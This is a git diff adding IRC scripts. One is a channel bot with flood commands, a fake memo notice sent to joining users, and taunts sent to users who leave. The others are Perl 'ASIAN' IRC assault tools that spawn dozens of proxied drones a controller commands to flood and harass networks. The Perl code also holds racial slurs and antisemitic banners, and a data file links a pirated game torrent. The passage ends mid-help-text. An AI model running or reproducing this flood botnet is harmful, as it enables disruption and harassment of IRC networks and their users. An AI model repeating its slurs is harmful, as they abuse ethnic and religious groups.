',light_blue,light_blue),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_blue,light_blue))) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color('R I P'.center(length+2),black,light_grey),color(' ',light_green,light_green))) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(nick.upper().center(length+2),black,light_grey),color(' ',light_green,light_green))) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',green,green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green))) + Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color('2018'.center(length+2),black,light_grey),color(' ', light_green,light_green))) + Bot.sendmsg(channel,'{0}{1}{2}{3}{4}'.format(color(' ',light_green,light_green),color(' ',green,green),color(' ',grey),color(' '*(length+2),light_grey,light_grey),color(' ',light_green,light_green))) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_green,light_green),color(' ', grey),color(' '*(length+2),light_grey,light_grey),color(' ', light_green,light_green))) + + def rain(word,amount): + for i in range(amount): + Bot.sendmsg(channel,' '*random.randint(3,25)+word+' '*random.randint(10,50)+word+' '*random.randint(10,50)+word) + + def rope(length): + spaces=50 + prev=None + for i in range(length): + if random.choice((True,False)): + if prev!='╱':spaces+=1 + char='╲' + else: + if prev!='╲':spaces-=1 + char='╱' + Bot.sendmsg(channel,' '*spaces+char) + prev=char + Bot.sendmsg(channel,' '*(spaces-2)+'(;))') + + def wave(msg,lines,spaces,hilite): + rainbow=['04','08','09','11','12','13'] + spacer=15 + spaces+=spacer + toggle=True + data=list() + for i in range(lines): + if hilite: + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format((Bot.nicks[0]+': ').ljust(spacer),color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1]))) + Bot.nicks.append(Bot.nicks.pop(0)) + else: + Bot.sendmsg(channel, '{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',rainbow[1]),color(f' {msg} ',rainbow[0],rainbow[1]),color('▓▒░',rainbow[1]))) + rainbow.append(rainbow.pop(0)) + if toggle:spacer+=1 + else:spacer-=1 + if spacer==spaces:toggle=False + elif spacer==15:toggle=True + + def worm(length): + spacer=random.randint(10,100) + Bot.sendmsg(channel,'{0} {1}{2}'.format(' '*spacer,color('░▒▓',pink),color('▓▒░',pink))) + Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink))) + Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink))) + for i in range(length): + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink))) + if random.choice((True,False)):spacer += 1 + else:spacer-=1 + Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('_ _',black,pink),color('▓▒░',pink))) + Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color('o o',black,pink),color('▓▒░',pink))) + Bot.sendmsg(channel,'{0} {1}{2}{3}'.format(' '*spacer,color('░▒▓',pink),color(' ',black,pink),color('▓▒░',pink))) + +class WormNet(threading.Thread): + def __init__(self): + self.sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + threading.Thread.__init__(self) + def run(self): + Bot.wormnet=True + try: + self.sock.connect(('wormnet1.team17.com',6667)) + self.raw('PASS ELSILRACLIHP') + self.raw('USER Username hostname servername :48 0 US 3.7.2.1') + self.raw('NICK SUPERNETS') + while True: + data=self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split())>=2): + Bot.sendmsg_wormnet('raw',cyan,line) + args=line.split() + if line.startswith('ERROR :Closing Link:'):raise Exception('Connection has closed.') + elif args[0]=='PING':self.raw('PONG '+args[1][1:]) + elif args[1]=='001':self.raw('JOIN '+channel) + elif args[1]=='366':Bot.sendmsg_wormnet('join',green,'Joined #anythinggoes channel!') + except (UnicodeDecodeError,UnicodeEncodeError):pass + except Exception as ex: + Bot.sendmsg_wormnet('error',red,'Unknown error occured!',ex) + self.sock.close() + Bot.wormnet=False + Bot.sendmsg_wormnet('disconnected',red,'Lost connection to the WormNet relay!') + def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8')) + def sendmsg(self,target,msg):self.raw(f'PRIVMSG {target} :{msg}') + +class IRC(object): + def __init__(self): + self.nicks=list() + self.echo=False + self.sock=None + self.wormnet=False + + def connect(self): + try: + self.sock=ssl.wrap_socket(socket.socket(socket.AF_INET,socket.SOCK_STREAM)) + self.sock.connect(('irc.supernets.org',6697)) + self.raw(f'USER THEG 0 * :YOU LOST THE GAME') + self.raw('NICK THEGAME') + while True: + data = self.sock.recv(1024).decode('utf-8') + for line in (line for line in data.split('\r\n') if len(line.split()) >= 2): + print(f'{get_time()} | [~] - {line}') + args = line.split() + if args[0]=='PING':self.raw('PONG '+args[1][1:]) + elif args[1]=='001': + self.raw('MODE THEGAME +BDd') + self.sendmsg('NickServ','IDENTIFY THEGAME '+nickserv_password) + self.raw(f'OPER thegame {operator_password}') + self.raw('JOIN '+channel) + elif args[1]=='433':self.raw('NICK THE_GAME_'+str(random.randint(10,99))) + elif args[1]=='353' and len(args)>=6:self.nicks+=' '.join(args[5:])[2:].split() + elif args[1]=='JOIN' and len(args)==3:self.raw('NOTICE {0} :Thank you for joining #AnythingGoes, you have {1} memo(s) waiting. Please type /server MemoServ read to check your messages.'.format(args[0].split('!')[0][1:],color(random.randint(1,3),red))) + elif args[1]=='PART' and len(args)>=3: + self.sendmsg(args[2],color('EMO-PART DETECTED',red)) + self.sendmsg(args[0].split('!')[0][1:],'bet u wont come back pussy...') + elif args[1]=='PRIVMSG' and len(args)>=4: + ident=args[0][1:] + nick=args[0].split('!')[0][1:] + chan=args[2] + msg= ' '.join(args[3:])[1:] + if chan==channel:self.event_message(ident,nick,chan,msg) + elif args[1]=='QUIT':Functions.grave(args[0].split('!')[0][1:]) + except(UnicodeDecodeError,UnicodeEncodeError):pass + except:self.sock.close() + time.sleep(15) + self.connect() + + def event_message(self,ident,nick,chan,msg): + args=msg.split() + if msg[:1]=='!': + if msg=='!bananabomb':Functions.banana_bomb() + elif msg=='!crate': + for line in crate_data:self.sendmsg(channel,line) + elif msg=='!echo': + self.echo=False if self.echo else True + elif msg=='refresh': + self.nicks=list() + self.raw('NAMES #anythinggoes') + elif msg=='!wormnet' and not self.wormnet and ident==admin_ident:WORMS.start() + elif msg=='!worms': + for line in worms_data:self.sendmsg(channel, line) + elif len(args)==2: + if args[1].isdigit(): + amount=int(args[1]) + if args[0]=='!chatrain': + if amount<=100 or ident==admin_ident:Functions.chat_rain(amount) + else:self.sendmsg(chan,'Max: 100') + elif msg.startswith('!crabflood'): + if amount<=10 or ident==admin_ident:Functions.crab_flood(amount) + else:self.sendmsg(chan,'Max: 10') + elif msg.startswith('!rope'): + if amount<=100 or ident==admin_ident:Functions.rope(amount) + else:self.sendmsg(chan,'Max: 100') + elif msg.startswith('!worm'): + if amount<=100 or ident==admin_ident:Functions.worm(amount) + else:self.sendmsg(chan,'Max: 100') + elif args[0]=='!rain' and len(args)>=3: + amount=args[1] + data=' '.join(args[2:]) + if args[1].isdigit(): + if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1])) + else:self.sendmsg(chan,'Max: 100') + elif args[0] in ('!wave','!wavehl') and len(args)>=4: + lines =args[1] + spaces=args[2] + data=' '.join(args[3:]) + if lines.isdigit() and spaces.isdigit(): + if int(lines)<=100 or ident==admin_ident: + if args[0]=='!wave': + Functions.wave(data,int(lines),int(spaces),False) + else: + Functions.wave(data,int(lines),int(spaces),True) + else:self.sendmsg(chan,'Max: 100') + elif self.echo:self.sendmsg(chan,msg) + + def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8')) + def sendmsg(self,target,msg): + time.sleep(throttle_msg) + self.raw(f'PRIVMSG {target} :{msg}') + def sendmsg_wormnet(self,title,title_color,msg,extra=None): + if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey))) + else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg)) + +# Main +banana_data=open('data/banana.txt').readlines() +crab_data=open('data/crab.txt').readlines() +crate_data=open('data/crate.txt').readlines() +worms_data=open('data/worms.txt').readlines() +Bot=IRC() +WORMS=WormNet() +Bot.connect() diff --git a/irc/anythinggoes/data/banana.txt b/irc/anythinggoes/data/banana.txt new file mode 100644 index 0000000..f3d8dbc --- /dev/null +++ b/irc/anythinggoes/data/banana.txt @@ -0,0 +1,4 @@ + 8". ,# + 8\ `-._____,-'=/ + 8`._ ----- _,' + 8`-----' diff --git a/irc/anythinggoes/data/crab.txt b/irc/anythinggoes/data/crab.txt new file mode 100644 index 0000000..4e54404 --- /dev/null +++ b/irc/anythinggoes/data/crab.txt @@ -0,0 +1,10 @@ + , , + /(_, ,_)\ + \ _/ \_ / + // \\ + \\ (@)(@) // + \'=\"==\"='/ + ,===/ \===, +\",===\ /===,\" +\" ,==='------'===, \" + \" \" diff --git a/irc/anythinggoes/data/crate.txt b/irc/anythinggoes/data/crate.txt new file mode 100644 index 0000000..194f546 --- /dev/null +++ b/irc/anythinggoes/data/crate.txt @@ -0,0 +1,11 @@ +7,7 +7,7 7,2 7,7 7,4 7,7 7,2 7,7 +5,7 5,2 5,7 7 7,4 7,7 7,4 7,7 7,2 7,7 +1,7|||5|1,5|1,7|||7,4 1,7|||1,5|7,4 1,7||1,5|1,7||||| +1,7|||5|1,5|1,7|||1,5|1,7|||7,4 1,7|||1,5|1,7||||| +1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7||||| +1,7||||1,5|1,7|||1,5|1,7||7,4 1,7|||||1,5|1,7||||| +1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7||||| +7,7 7,2 7,7 7,4 7,7 7,2 7,7 +7,7 7,2 7,7 7,2 7,7 +7,7 \ No newline at end of file diff --git a/irc/anythinggoes/data/worms.txt b/irc/anythinggoes/data/worms.txt new file mode 100644 index 0000000..e5e69b1 --- /dev/null +++ b/irc/anythinggoes/data/worms.txt @@ -0,0 +1,22 @@ +4,1Worms Armageddon 0 +0,1 +0,1[13Installation & Setup0]  +0,011. Torrent & install Worms Armageddon +0,1 14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0 +0,1 +0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory. +0,1 14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0 +0,1 +0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked. +0,1 +0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access. +0,1 +0,1[13Useful Resources0]  +14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0 +14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0 +14,1•0 Mod Pack 12https://www.pyrex.pw/files/worms/worms-mods.zip0 +14,1•0 Worms Wiki 12http://worms2d.info/Worms_Armageddon0 +0,1 12 0 +0,1[13Credits0]  +0,1 14-0 TEAM WORMSEC OK +0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes diff --git a/irc/asian-arab.pl b/irc/asian-arab.pl new file mode 100644 index 0000000..188fc92 --- /dev/null +++ b/irc/asian-arab.pl @@ -0,0 +1,577 @@ +#!/usr/bin/perl +# +# + +# {{{ original copyrights & info + +# This is proxysuite, written in GNU/PURL +# by Jmax, of bantown and the GNAA. +# It gathers and tests proxies, both http and socks4 + +# This product is licensed under the BPL. +# You should have recieved a copy of the +# license with this program + +# el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ] + + +# ASIAN 2.0 by Jmax +# +# I have made many modifications: +# - Use of command line arguments as opposed to editing the script itself. +# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) +# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) +# - Improved fork routine/library + +# Must be run on a POSIX-compliant system, with perl. +# note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE, +# and therefore proxies can't be shared between forks. Oh well. + +# The original header (for historical reasons) +# is as follows (NOTE: syntax here is _incorrect_): +# ----------------------------------------------- +# ASIAN by Rucas +# Automated Synchronous IRC Assault Network +# Based on AYSYN by mef +# +# Make sure to put a SOCKS5 proxy list in proxies.txt in the same +# directory as this script. If you'd like to use tor, you can put +# the correct info on one line in proxies.txt and this app will +# still function properly (although generally tor sucks) +# +# All bots join $g_channel and are issued raw irc commands from there +# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or +# "botname PRIVMSG Rucas lol failure" and such. +# +# Testing of an early version of this script is the reason that +# Freenode now checks for open SOCKS proxies. +# ----------------------------------------------- + +# }}} + +use warnings; +use strict; + +use IO::Socket; +use IO::Handle; +use POSIX qw(:signal_h :sys_wait_h); # fork + +use Time::HiRes; +# use Data::Dumper; + +use vars qw($VERSION); +$VERSION = "3.0"; + + +# {{{ globals + +my ($g_forkcount, $g_pid) = (0, undef); +my ($g_dead_nigger_storage, $g_maxfork) = (0, 40); + +my ($g_network, $g_channel); + +# }}} + +# {{{ signal handlers + +$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; +$SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); }; + +# }}} + + +# {{{ entry point + +error("please run using the --help argument") unless $ARGV[0]; +if ($ARGV[0] eq '--help') { + show_usage(); exit 0; +} elsif ($ARGV[0] eq '--version') { + show_version(); exit 0; +} else { + error("please run using the --help argument") unless $ARGV[1]; + $g_network = $ARGV[0]; + $g_channel = $ARGV[1]; +} + +# }}} + +# {{{ help/usage information + +sub show_help { + print "arab $VERSION by vxp\n". + "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". + "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". + "Based on code & ideas by Jmax, Rucas, abez and mef.\n". + "\n". + "\n". + " Invocation:\n". + " perl ".__FILE__." server \"#channel\"\n". + "\n". + " XXX, and \"#channel\" is the control channel you want the bots\n". + " to join. Please note that some shells will interpret the # in\n". + " \"#channel\" as acomment, and will not send it to the script.\n". + " In this case, you may either use quotes, or escape the '#'.\n". + " I prefer quotes.\n". + " Note that a list of (nick|user|real) names is expected to reside\n". + " in ./names.txt\n". + "\n". + "\n". + " Usage:\n". + " all [space-delimited arguments] :[arguments with spaces]\n". + " [space-delimited arguments] :[arguments with spaces]\n". + " ,,... [space-delimited arguments] :[arguments with spaces]\n". + "\n". + " Simply privmsg your command to the control channel, and the respective bots will follow.\n". + "\n". + " Examples:\n". + " <~supers> all join #gnaa gnaa\n". + " All bots will join #gnaa using the key 'gnaa'\n". + " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". + " All bots will say \"LOL HY LOL HY\" in #gnaa\n". + " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". + " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". + " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". + " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". + " will part #gnaa with reason 'lol jews'\n". + "\n". + "\n". + " Enjoy. -- vxp\n"; +} + +# }}} + +# {{{ version information + +sub show_version { + print "arab $VERSION by vxp\n". + "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". + "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". + "Based on code & ideas by Jmax, Rucas, abez and mef.\n". + "\n"; +} + +# }}} + + +# load the proxy and name list(s) +my @g_proxies = load_proxy_list(); +my @g_names = load_name_list(); + + +# resolve the host name of the specified target ircd +# and cache it in a shared variable +my ($g_server_host, @g_server_ip); +$g_server_host = $ARGV[0]; +@g_server_ip = resolve($g_server_host); + + +# fork(2) off up to $g_maxfork child processes to use as +# a pool for subsequent connection attempts +notice("Initializing (forking) bots"); +for ($g_forkcount = 0; # $g_forkcount must _not_ + $g_forkcount < $g_maxfork; # be local to here + $g_forkcount++) { + sleep 1; # so we don't overload ourselves + + if (!defined(my $g_pid = fork())) { # fork + error("couldn't fork: $!"); # die if fork fails + } elsif ($g_pid == 0) { + # in child: + while (@g_proxies) { + # grab a random proxy off the list... + my $proxy_slot = int rand @g_proxies; + my $proxy = $g_proxies[$proxy_slot]; + + # ...attempt to establish a connection through it and + # join a drone into the control channel on success. + if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type}, + @g_server_ip, $g_server_host)) { + # succeeded + } else { + # failed, delete proxy + # XXX: not shared + #delete $g_proxies[$proxy_slot]; + }; + + sleep 10; # to prevent throttling by IRCd + } + exit 0; + + } else { + # in parent: + + } +} + +sleep while ($g_dead_nigger_storage < $g_maxfork); +exit 666; + + +# {{{ load lists + +sub load_proxy_list { + my (@proxies); + + error("$@") unless push @proxies, load_socks4_list(); + error("$@") unless push @proxies, load_socks5_list(); + error("$@") unless push @proxies, load_http_list(); + return @proxies; +} + +sub load_socks4_list { + my (@proxies); + + open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!"); + while () { + chomp; + my ($ip, $port) = /([^:]+):([0-9]+)/; + push @proxies, ({ip => $ip, port => $port, type => '4'}); + } + close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!"); + + notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies)."); + return (@proxies); +} + +sub load_socks5_list { + my (@proxies); + + open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!"); + while () { + chomp; + my ($ip, $port) = /([^:]+):([0-9]+)/; + push @proxies, ({ip => $ip, port => $port, type => '5'}); + } + close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!"); + + notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies)."); + return (@proxies); +} + +sub load_http_list { + my (@proxies); + + open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!"); + while () { + chomp; + my ($ip, $port) = /([^:]+):([0-9]+)/; + push @proxies, ({ip => $ip, port => $port, type => 'h'}); + } + close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!"); + + notice("acquired ". scalar(@proxies) ." http prox(y|ies)."); + return (@proxies); +} + +sub load_name_list { + my (@names); + + open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!"); + while () { + chomp; + push @names, $_; + }; + close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!"); + + notice("acquired ". scalar(@names) ." (nick|user|real) name(|s)."); + return (@names); +} + +# }}} + +# {{{ wrappers/tools + +sub iptoipstr { + my ($ip) = $_; + my $d = $ip % 256; $ip -= $d; $ip /= 256; + my $c = $ip % 256; $ip -= $c; $ip /= 256; + my $b = $ip % 256; $ip -= $b; $ip /= 256; + my $a = $ip; + my $ipstr = "$a.$b.$c.$d"; + return $ipstr; +} + +sub notice { + my $notice = shift; + print ">>>> ". $notice ."\n"; + return; +} + +sub incoming { + my ($nick, $line, $server) = @_; + #printf("IRCd >>>> %-12s ] %s\n", $nick, $line); + return; +} + +sub outgoing { + my ($nick, $line, $server) = @_; + #printf("IRCd <<<< %-12s ] %s\n", $nick, $line); + return; +} + +sub warning { + my $warning = shift; + print "!!!! ". $warning ."\n"; + return; +} + +sub error { + my $error = shift; + print "!!!! ". $error ."\n"; + exit 0; +} + +# }}} + +# {{{ per-drone logic + +sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; + my ($proxy_ip, $proxy_port, $proxy_type, + $remote_ip, $remote_host) = @_; + my $nick = $g_names[int rand @g_names]; + my ($ident, $realname) = ($nick, $nick); + my ($line, $sock, $altsock); + my ($pingtime) = -1; + + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required + alarm 5; + $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, + $remote_ip, 6667); + alarm 0; + }; + if ($@) { + error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors + #warning("$proxy_ip:$proxy_port not responding, removing from list"); + #return 0; + } + + $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, + $remote_ip, 6667); + return 0 unless $sock; + + print $sock "NICK $nick\r\n"; + outgoing($nick, "NICK $nick"); + print $sock "USER $ident * * :$realname\r\n"; + outgoing($nick, "USER $ident * * :$realname"); + + while ($line = <$sock>) { + chomp $line; + # MIGHT WANNA ADJUST THESE vv + next if $line =~ /372/; # ignore motd msgs + incoming($nick, $line); + last if $line =~ /376|422/; # end of motd or no motd + return 0 if $line =~ /BANNED/i; + return 0 if $line =~ /ERROR.*G.lined/i; + return 0 if $line =~ /ERROR.*K.lined/i; + return 1 if $line =~ /ERROR/i; + return 1 if $line =~ /432/; + return 1 if $line =~ /433/; + # MIGHT WANNA ADJUST THESE ^^ + if ($line =~ /PING (.*)$/) { + print $sock "PONG $1\r\n"; + } + } + print $sock "JOIN $g_channel\r\n"; + outgoing($nick, "JOIN $g_channel"); + notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)"); + while ($line = <$sock>) { + chomp $line; + if ($line =~ /PING (.*)$/) { + print $sock "PONG $1\r\n"; + } elsif ($line =~ /PONG/) { + if($pingtime != -1) { + print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n"; + $pingtime = -1; + } + } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) { + print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n"; + } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) { + $pingtime = [Time::HiRes::gettimeofday]; + print $sock "PING :$pingtime\r\n"; + } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i || + $line =~ /432/ || $line =~ /433/) { + incoming($nick, $line); + $nick = $g_names[int rand @g_names]; + print $sock "NICK $nick\r\n"; + outgoing($nick, "NICK $nick"); + } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) { + my ($qualifiers, $cmds) = ($1, $2); + my (undef, $repeat) = split /\//, $qualifiers; + $cmds =~ s/\$nick/$nick/g; + my (@cmds) = split /;/, $cmds; + my $current = 0; + while ($current < $repeat) { + foreach my $cmd (@cmds) { + if ($cmd =~ /\.randnick/) { + $nick = $g_names[int rand @g_names]; + print $sock "NICK $nick\r\n"; + } else { + print $sock "$cmd\r\n"; + } + } + $current++; + } + } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) { + my ($qualifiers, $cmds) = ($1, $2); + my (undef, $repeat) = split /\//, $qualifiers; + if ($cmds =~ /nick (\S*)/i) { + $nick = $1; + } + my (@cmds) = split /;/, $cmds; + my $current = 0; + while ($current < $repeat) { + foreach my $cmd (@cmds) { + if ($cmd =~ /\.randnick/) { + $nick = $g_names[int rand @g_names]; + print $sock "NICK $nick\r\n"; + } else { + print $sock "$cmd\r\n"; + } + } + $current++; + } + incoming($nick, $line); + outgoing($nick, $cmds); + } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) { + my $msg = $3; + chomp $msg; + if($2 eq 'PRIVMSG') { + print $sock "PRIVMSG $g_channel :<$1> $msg\r\n"; + } else { + print $sock "PRIVMSG $g_channel :-$1- $msg\r\n"; + } + } elsif ($line =~ /473/) { + # (channel is +i) + alarm 5; + $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n"; + alarm 0; }; + } else { + incoming($nick, $line); + } + } +} + +# }}} + +# {{{ proxy protocol handshakes/tunnel establishment + +sub connect_to_proxy { + my ($proxy_ip, $proxy_port, $proxy_type, + $remote_ip, $remote_port) = @_; + if($proxy_type eq '4') { + return connect_to_socks4_proxy($proxy_ip, $proxy_port, + $remote_ip, $remote_port); + } elsif($proxy_type eq '5') { + return connect_to_socks5_proxy($proxy_ip, $proxy_port, + $remote_ip, $remote_port); + } elsif($proxy_type eq 'h') { + return connect_to_http_proxy($proxy_ip, $proxy_port, + $remote_ip, $remote_port); + } else { + error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)"); + } +} + +sub connect_to_socks4_proxy { + # see http://socks.permeo.com/protocol/socks4.protocol + my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; + my $sock = IO::Socket::INET->new( + PeerAddr => $socks_ip, + PeerPort => $socks_port, + Proto => 'tcp', + Timeout => '8' + ); + return unless $sock; + $sock->autoflush(1); + print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); + my $received = ''; + while (read($sock, $received, 8) && (length($received) < 8)) {} + my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); + return unless $cd; + if ($cd != 90) { + return; + } + return $sock; +} + +sub connect_to_socks5_proxy { + my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; + my $sock = IO::Socket::INET->new( + PeerAddr => $socks_ip, + PeerPort => $socks_port, + Proto => 'tcp', + Timeout => '8' + ); + return unless $sock; + $sock->autoflush(1); + + print $sock pack('CCC', 5, 1, 0); + my $received = ''; + while (read($sock, $received, 2) && (length($received) < 2)) {} + my (undef, $method) = unpack('CC', $received); + print "received: '$received'\n"; + return if $method == 0xFF; + print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip), + $remote_port); + $received = ''; + while (read($sock, $received, 2) && (length($received) < 4)) {} + my ($vn, $rep) = unpack('CC', $received); + if ($rep != 0) { + return; + } + return $sock; +} + +sub connect_to_http_proxy { + my ($http_ip, $http_port, $remote_ip, $remote_port) = @_; + my $sock = IO::Socket::INET->new( + PeerAddr => $http_ip, + PeerPort => $http_port, + Proto => 'tcp', + Timeout => '8' + ); + return unless $sock; + $sock->autoflush(1); + + print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n"; + my $received = ''; + while (read($sock, $received, 12) && (length($received) < 12)) {} + my (undef, $response) = split / /, $received; + return if $received eq ""; + return if $response ne '200'; + + while(read($sock, $received, 1)) { + if($received eq "\n") { + read($sock, $received, 1); + if($received eq "\r") { + read($sock, $received, 1); + return $sock; + } + } + } + return; +} + +sub resolve { + my $host = shift; + my (undef, undef, undef, undef, @servers) = gethostbyname($host); + unless (@servers) { + error("cannot resolve server $host: $?"); + return 0; + } + my @servers_ip; + foreach my $server (@servers) { + my ($a, $b, $c, $d) = unpack('C4', $server); + my $server_ip = "$a.$b.$c.$d"; + push (@servers_ip, $server_ip); + } + return @servers_ip; +} + +# }}} + +# vim:ts=2 +# vim:sw=2 +# vim:expandtab +# vim:foldmethod=marker diff --git a/irc/asian.pl b/irc/asian.pl new file mode 100644 index 0000000..02cc24a --- /dev/null +++ b/irc/asian.pl @@ -0,0 +1,318 @@ +#!/usr/bin/perl + +# --> +# WORK IN PROGRESS +# <-- + +# ASIAN 2.0 by Jmax +# +# I have made many modifications: +# - Use of command line arguments as opposed to editing the script itself. +# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) +# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) +# - Improved fork routine/library +# +# The original header is as follows (NOTE: syntax here is _incorrect_): +# ----------------------------------------------- +# ASIAN by Rucas +# Automated Synchronous IRC Assault Network +# Based on AYSYN by mef +# +# Make sure to put a SOCKS5 proxy list in proxies.txt in the same +# directory as this script. If you'd like to use tor, you can put +# the correct info on one line in proxies.txt and this app will +# still function properly (although generally tor sucks) +# +# All bots join $channel and are issued raw irc commands from there +# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or +# "botname PRIVMSG Rucas lol failure" and such. +# +# Testing of an early version of this script is the reason that +# Freenode now checks for open SOCKS proxies. +# ----------------------------------------------- + +# TODO: +# file flooding with adjustments for nick-length + +use warnings; +use strict; +use IO::Socket; +use IO::Handle; +# for forking +use POSIX qw(:signal_h :sys_wait_h); +my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50); +$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; +$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); }; +# end +use vars qw($VERSION); +$VERSION = "2.0-beta3"; + +error("please run using the --help argument") unless $ARGV[0]; +my ($server, $port, $channel, $nickbase); +if ($ARGV[0] eq '--help') { + print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n". + "\n". + "\n". + " Invocation:\n". + " perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n". + "\n". + " Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n". + " you want the bots to join, and \"server\" is optionally affixed with a port to\n". + " use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n". + " the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n". + " You may either use 